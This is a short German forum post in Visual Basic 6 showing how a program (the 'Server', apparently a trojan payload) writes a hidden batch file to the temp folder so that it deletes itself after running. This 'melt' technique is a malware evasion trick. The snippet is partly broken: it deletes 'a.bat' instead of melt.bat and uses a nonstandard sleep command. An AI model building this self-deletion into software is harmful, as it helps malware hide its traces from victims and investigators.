[Vb6] Melt-File

Hier mal ein Code-Snippet, damit sich der Server nach dem Ausführen von alleine löscht.

Code:

Open Environ("temp") & "\melt.bat" For Output As #1 Print #1, , "@echo off" Print #1, , "sleep 500" Print #1, , "del " & App.EXEName + ".exe" Print #1, , "del a.bat" Print #1, , "cls" Print #1, , "exit" Close #1

Hiermit wird im Temp-Ordner eine "melt.bat"-Datei erstellt die beim Ausführen das File löscht.

--------

Hier mit kann man dann die "melt.bat" aus dem Temp-Ordner ausführen

Code:

Shell Environ("temp") & "\melt.bat", vbHide

Durch das vbHide wird die Datei unsichtbar zum Laufen gebracht.

Hf

'Nero